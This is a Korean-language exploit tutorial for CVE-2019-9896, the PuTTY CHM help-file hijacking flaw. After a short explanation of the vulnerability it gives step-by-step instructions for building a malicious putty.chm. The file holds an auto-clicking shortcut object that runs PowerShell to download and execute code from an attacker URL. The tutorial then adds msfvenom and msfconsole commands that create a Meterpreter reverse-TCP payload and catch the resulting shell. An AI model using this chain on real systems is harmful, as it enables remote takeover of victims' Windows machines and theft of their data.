
CHM 하이재킹을 통한 잠재적 악성 코드 실행 (CVE-2019-9896)
CHM 하이재킹을 통한 잠재적 악성 코드 실행
0.70 버전까지는 Windows PuTTY GUI 도구에서 온라인 도움말을 실행하면 도구가 자신의 실행 파일 옆에서 도움말 파일을 찾았습니다.
관련 없는 코드가 파일을 떨어뜨릴 수 있는 디렉터리에서 PuTTY를 실행하는 경우(예: 브라우저의 기본 다운로드 디렉터리에서 직접 실행하는 경우), 누군가 putty.chm이라는 파일을 해당 디렉터리에 넣도록 꾸몄다면(예: 해당 이름의 다운로드 링크를 클릭하도록 유도) PuTTY는 그것이 실제 도움말 파일이라고 믿고 htmlhelp.exe에 전달하게 됩니다.
HTML 도움말 파일(.chm)은 Windows 바로 가기인 HTML 요소와 이를 클릭하는 Javascript를 포함하여 원하는 코드를 실행하도록 구성할 수 있기 때문에 이는 취약점입니다.
자세한 내용: https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-chm-hijack.html
CHM은 Compiled HTML 파일 형식의 확장자로, 가장 일반적으로 Microsoft의 HTML 기반 도움말 프로그램에서 사용됩니다. 압축된 여러 HTML 문서와 해당 문서가 연결하는 이미지 및 JavaScript를 포함할 수 있습니다. CHM 기능에는 목차, 색인 및 전체 텍스트 검색이 포함됩니다.
과거에 공격자들은 백도어 파일을 유포하는 데 CHM 파일을 사용했습니다. 이는 표적 공격에서 흔히 사용됩니다.
https://www.bleepingcomputer.com/news/security/malicious-chm-files-being-used-to-install-brazilian-banking-trojans/ https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/
CHM 파일을 만들려면 HTML Help Workshop 툴킷이 필요합니다. 설치 후 HTML Help Workshop 도구를 실행합니다.
파일 > 새로 만들기 > 프로젝트를 클릭하고 위 단계를 따르세요:
HTML 도움말 프로젝트 만들기
새 프로젝트 화면 > 다음 > 찾아보기
프로젝트 파일의 이름과 생성할 위치를 지정합니다.
파일 이름: putty를 입력하고 "열기"를 클릭하세요.
HTML 도움말 프로젝트 지정
HTML 파일(.htm) 선택
.htm 파일이 있는 위치를 지정합니다.
Add.. 버튼을 클릭하고 악성 파일(예: putty.htm)을 보관할 이미 생성된 디렉터리를 선택합니다.
HTM 파일 선택
마법사가 새 HTML 도움말 프로젝트를 만듭니다. 변경해야 할 사항이 있습니다.
도구에서 생성된 htm을 더블 클릭하여 편집한 후, 아래 코드를 삽입하여 기본 도움말 파일을 만드세요:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<Title>putty</Title>
</HEAD>
<BODY>
</BODY>
</HTML>
<html>
<title> PuTTY Help </title>
<head>
</head>
<body>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -NoProfile -WindowsStyle 1 -c -IEX (New-Object Net.WebClient).DownloadString('{YOUR MALICIOUS FILE URL}')">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>
<h2 align=center> PuTTY CHM </h2>
<p><h3 align=center> Welcome! </h3></p>
</body>
</html>
악성 파일 만들기
Windows용 간단한 TCP Meterpreter 페이로드를 만들려면 어떻게 해야 하나요?
msfvenom -p windows/meterpreter/reverse_tcp LHOST={YOUR IP} LPORT={PORT } -f exe > malware.exe
도움말 버튼을 두 번 클릭하면 CHM 바이너리 파일의 해석기인 putty.exe가 malware.exe의 자식 프로세스로 생성됩니다. (악성 putty.chm 파일과 putty.exe 파일은 같은 디렉터리에 있어야 합니다.)
악성 코드 생성
meterpreter 셸을 얻으려면 어떻게 해야 하나요?
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost {YOUR IP}
lhost => {YOUR IP}
msf exploit(multi/handler) > set lport {PORT}
lport => {PORT}
msf exploit(multi/handler) > run
리소스: